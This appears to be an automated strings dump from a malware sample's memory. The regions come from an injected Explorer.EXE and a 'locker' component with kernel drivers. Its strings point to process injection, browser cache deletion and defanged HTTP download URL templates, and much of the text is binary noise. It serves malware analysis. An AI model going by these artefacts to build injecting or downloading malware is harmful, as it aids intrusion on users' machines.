oleaut32.dll
H0.gW
H0.gW
comctl32.dll
comctl32.dll
advapi32.dll
advapi32.dll
gdi32.dll
gdi32.dll
d.jF/"
d.jF/"
r#'%C
r#'%C
6.Xdp
6.Xdp
g|$^.Cn
g|$^.Cn
>.bM8
>.bM8
>Z.Ye
>Z.Ye
w4R`$p%s*
w4R`$p%s*
f.zo~L^
f.zo~L^
wsock32.dll
wsock32.dll
ntdll.dll
ntdll.dll
Ë.L@
Ë.L@
l.sQ{
l.sQ{
c-t{.FF
c-t{.FF
b#I".wM
b#I".wM
e.ENZ
e.ENZ
xip.tu
xip.tu
@>.vO
@>.vO
%FX2Fsi
%FX2Fsi
qKT.jLka
qKT.jLka
3.LD7
3.LD7
Uq
Uq
G,.gd
G,.gd
<.cff>
<.cff>
&8.XMj
&8.XMj
$~O.Ba
$~O.Ba
)].Wd
)].Wd
/_{M%U
/_{M%U
Q%s6|
Q%s6|
lVfeVg
lVfeVg
!%uO
!%uO
mh.ud
mh.ud
m%Csn%
m%Csn%
kq84.QaI
kq84.QaI
)f%fg
)f%fg
.SuDYw
.SuDYw
K)`p.frC
K)`p.frC
*%s!%
*%s!%
aR.dDb&
aR.dDb&
.xk 4g
.xk 4g
ShellExecuteA
ShellExecuteA
RegCloseKey
RegCloseKey
)%S{.
)%S{.
'U}.Ue
'U}.Ue
l%S(8x$!(
l%S(8x$!(
1L%UJ
1L%UJ
.vtbw
.vtbw
.iA5N
.iA5N
yyhKa%S
yyhKa%S
d.Zd=#R
d.Zd=#R
x0r%F{
x0r%F{
.IPi)
.IPi)
Vj.jH
Vj.jH
>M%X9
>M%X9
/8[
/8[
bc.lTk
bc.lTk
ks_GetMsg
ks_GetMsg
kssPlugin.dll
kssPlugin.dll
tole32.dll
tole32.dll
kernel32.dll
kernel32.dll
Explorer.EXE_884_rwx_01CA0000_00001000:
PID=1184(0)=1=0.0.0,0_0x0_0x0-0x0-35_0_0,fg=1,rmv=0/0 %WinDir%\Explorer.EXE
PID=1184(0)=1=0.0.0,0_0x0_0x0-0x0-35_0_0,fg=1,rmv=0/0 %WinDir%\Explorer.EXE
Explorer.EXE_884_rwx_01F00000_00077000:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
tGHt.Ht&
tGHt.Ht&
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
1.2.3
1.2.3
inflate 1.2.3 Copyright 1995-2005 Mark Adler
inflate 1.2.3 Copyright 1995-2005 Mark Adler
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
operator
operator
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
error in ReadProcessMemory , RVA=X sizeread=%d ret=%d Error=#%ld
error in ReadProcessMemory , RVA=X sizeread=%d ret=%d Error=#%ld
error in WriteProcessMemory , sizewrite=%d ret=%d RVA=%I64X Error=#%ld
error in WriteProcessMemory , sizewrite=%d ret=%d RVA=%I64X Error=#%ld
error in VirtualAllocEx , size=%d Error=#%ld
error in VirtualAllocEx , size=%d Error=#%ld
kernel32.dll
kernel32.dll
actth3.0.1
actth3.0.1
X=X
X=X
%s%d.%s.%s
%s%d.%s.%s
---thisid=%d,drvio=%d, %d.%d.%d, moddenies=%d,codechgcnt=%d,dbg_flag=%X logstep=%d, uidfg=%d,codechg=%d,cw=%d, gid=%d,byid=%u,vbyid=%d, cfgflag=0x%X,actrunning=%d,netava=%d,netini=%d, nopc=%d,actc=%d,inopmm=%d,udppostc=%d,%s
---thisid=%d,drvio=%d, %d.%d.%d, moddenies=%d,codechgcnt=%d,dbg_flag=%X logstep=%d, uidfg=%d,codechg=%d,cw=%d, gid=%d,byid=%u,vbyid=%d, cfgflag=0x%X,actrunning=%d,netava=%d,netini=%d, nopc=%d,actc=%d,inopmm=%d,udppostc=%d,%s
---IJ=%s shdata=X idnotmch=%d tmused=%d,c_send=%d,c_recv=%d,fver%d.%d.%d.%d dllver=%u/using=%u
---IJ=%s shdata=X idnotmch=%d tmused=%d,c_send=%d,c_recv=%d,fver%d.%d.%d.%d dllver=%u/using=%u
HttpDown run=%d,tsk=%d
HttpDown run=%d,tsk=%d
UPOST:%d
UPOST:%d
P%d parse error
P%d parse error
P%d 0xX,%d/%d step=%d,pst=%d ,%s(dw:X)
P%d 0xX,%d/%d step=%d,pst=%d ,%s(dw:X)
no udp post object
no udp post object
_hlmk_3.tmp~
_hlmk_3.tmp~
No ID again,preid=%d, X line=%d
No ID again,preid=%d, X line=%d
hXXp://%s/%s
hXXp://%s/%s
-- [%s]-%s- %s
-- [%s]-%s- %s
saveurl
saveurl
c:\Windows\UrlSave\
c:\Windows\UrlSave\
hXXp://%s/soft/%u_%d.rar
hXXp://%s/soft/%u_%d.rar
Ole32.dll
Ole32.dll
ole32.dll
ole32.dll
shell32.dll
shell32.dll
hlrestart.bat
hlrestart.bat
ping 127.0.0.1 -n 8
ping 127.0.0.1 -n 8
ShellExecuteA
ShellExecuteA
locker32.dll
locker32.dll
locker64.dll
locker64.dll
DriverImpl64.sys
DriverImpl64.sys
DriverImpl32.sys
DriverImpl32.sys
XXXXXXX
XXXXXXX
netcfgurl
netcfgurl
error in CreateFileMapping #%d,pro=0x%X,size=%d,name=%s
error in CreateFileMapping #%d,pro=0x%X,size=%d,name=%s
error in MapViewOfFile #%d
error in MapViewOfFile #%d
error in OpenMap #%d
error in OpenMap #%d
%s=%s
%s=%s
HTTP/
HTTP/
ws2_32.dll
ws2_32.dll
[%d]%s
[%d]%s
d:d:d %s
d:d:d %s
d-d-d d:d:d %s
d-d-d d:d:d %s
d_d_d.txt
d_d_d.txt
advapi32.dll
advapi32.dll
ReportEventA
ReportEventA
FindFirstUrlCacheEntryA
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
FindNextUrlCacheEntryA
DeleteUrlCacheEntryA
DeleteUrlCacheEntryA
FindCloseUrlCache
FindCloseUrlCache
HttpQueryInfoA
HttpQueryInfoA
InternetOpenUrlA
InternetOpenUrlA
wininet.dll
wininet.dll
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
#%d ,sess=%x url:%s
#%d ,sess=%x url:%s
%d.%d.%d.%d
%d.%d.%d.%d
%s:%d
%s:%d
ntdll.dll
ntdll.dll
iphlpapi.dll
iphlpapi.dll
%4X:%.4X
%4X:%.4X
%4X:%.8X
%4X:%.8X
error in VirtualFreeEx , RVA=X Error=#%ld
error in VirtualFreeEx , RVA=X Error=#%ld
-115726016"
-115726016"
kernelBase.dll
kernelBase.dll
user32.dll
user32.dll
user32=%d/%d
user32=%d/%d
.JPEG
.JPEG
hXXp://
hXXp://
d:\programs\out\HLSys\Release\locker.pdb
d:\programs\out\HLSys\Release\locker.pdb
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
GetProcessHeap
GetProcessHeap
locker.dll
locker.dll
erroffset passed as NULL
erroffset passed as NULL
this version of PCRE is not compiled with PCRE_UTF8 support
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X
PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X
POSIX named classes are supported only within a class
POSIX named classes are supported only within a class
POSIX collating elements are not supported
POSIX collating elements are not supported
!"#$%&'()* ,-./0123456789
!"#$%&'()* ,-./0123456789
!"#$%&'()* ,-./
!"#$%&'()* ,-./
!"#$%&'()* ,-./012345678
!"#$%&'()* ,-./012345678
!"#$%&'()*
!"#$%&'()*
,-./0123456789:;
,-./0123456789:;
!"#$%&'(
!"#$%&'(
$%&'()* ,-./0123
$%&'()* ,-./0123
$%&'()* ,-.
$%&'()* ,-.
!"#$%&'()* ,-./01234567
!"#$%&'()* ,-./01234567
!"#$%&'()
!"#$%&'()
Dbgview.exe
Dbgview.exe
\explorer.exe
\explorer.exe
.?AVCUDPDataPost@@
.?AVCUDPDataPost@@
.?AVCThread_UrlSaving@@
.?AVCThread_UrlSaving@@
.?AUIHttpDownNotify@@
.?AUIHttpDownNotify@@
.?AVCHttpTask@@
.?AVCHttpTask@@
.?AVCHttpDownService@@
.?AVCHttpDownService@@
.?AUIHttpSessNotify@@
.?AUIHttpSessNotify@@
.?AVCHttpSession@@
.?AVCHttpSession@@
.?AVCWebHookHandler@@
.?AVCWebHookHandler@@
192.168.
192.168.
6)6/656;6
6)6/656;6
5'5-52575>5
5'5-52575>5
=#=,=3=8=?=
=#=,=3=8=?=
?'?,?0?4?]?
?'?,?0?4?]?
8%8u8
8%8u8
0 0@0`0|0
0 0@0`0|0
=$=,=4=
=$=,=4=
KERNEL32.DLL
KERNEL32.DLL
mscoree.dll
mscoree.dll
\msctf.dll
\msctf.dll
\uxtheme.dll
\uxtheme.dll